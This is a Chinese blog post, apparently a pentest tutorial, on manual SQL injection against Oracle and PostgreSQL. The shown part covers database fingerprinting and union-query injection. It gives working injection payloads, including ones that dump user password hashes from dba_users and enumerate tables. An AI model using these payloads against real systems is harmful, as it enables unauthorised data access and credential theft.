数据库:从注入到提权的全家桶套餐

作者: 黑客网 分类: 正规黑客联系方式 发布时间: 2022-05-27 14:15

偶然看到了最新的数据库流行度排名,发现在前5名的关系型数据库中,日常渗透测试见到最多的便是MySQL,排名第一的Oracle可能因为企业版高昂的价格限制了用户群众,在实际中相对于MySQL遇到的偏少,作为完全免费开源的PostgreSQL,虽然也占据了榜单Top 4,但目前在国内碰到的几率也很小。

image


所以这次先重点研究一下Oracle与PostgreSQL这两种数据库从手注到提权的不同方式,避免过度依赖sqlmap一把梭的尴尬局面。

image

0x01 SQL注入分析 1.数据库类型判断

身为关系型数据库,自然避免不了SQL注入的话题,而在进行注入前,我们首先要对数据库的种类进行判断
Oracle:根据特有的表进行判断

and (select count(*) from sys.user_tables)>0

image


PostgreSQL:根据特有的语法判断

and+1::int=1--

image


接下来我们从各自的数据库语法去分析不同的SQL注入方式,SQL注入按照我们熟悉的注入语法又划分为:基于布尔的盲注、基于时间延迟的盲注、显错注入、联合查询注入、堆查询注入,我们依次来对两种数据库进行分析。

2.联合查询注入

Oracle
a.在Oracle中,存在dual虚拟表,任何用户都可以去读取查询,因为Oracle数据库的查询语句必须包含from属性,所以常用在没有目标表的select查询语句中,比如可以查询当前用户等

and 1=2 union select null,user,null from dual(获取当前用户名)

image


b.Oracle联合查询注入需要依次判断每个字段的字段类型,而不能像mysql中字段直接全部套用数字型

and 1=2 union select 1,null,null from dual

若返回正常则为整数型,异常则为字符型'null'

and 1=2 union select 1,'null','null' from dual

image


c.Oracle数据库不支持mysql中limit功能,但可以通过rownum来限制返回的结果集的行数.查看前5个数据库用户,数据库用户均存在dba_users表中

and 1=2 union select 1,username,password from dba_users where rownum<=5

image


d.联合查询注入需要用到查看表结构、字段名等功能,在mysql中大家所熟知的是information_schema,而在Oracle中同样拥有此类功能视图
dba_*  dba拥有的或可以访问的所有对象
all_*  某用户拥有的或可以访问的所有的对象
user_* 某用户拥有的所有对象(必须是拥有者owner,相当于表的创建者)
比如在user_tab_columns中,表名与字段名一一对应展示,可以同时对表名及字段名进行查询
and 1=2 union select 1,table_name,column_name from user_tab_columns where rownum<=2000

image


e.其他常用语句:
可通过查看数据库文件位置间接判断操作系统

and 1=2 union select 1,name,'null' from V$DATAFILE

image


查看数据库版本

and 1=2 union select 1,version,'null' from v$instance

如果觉得我的文章对您有用,请随意打赏。您的支持将鼓励我继续创作!

标签云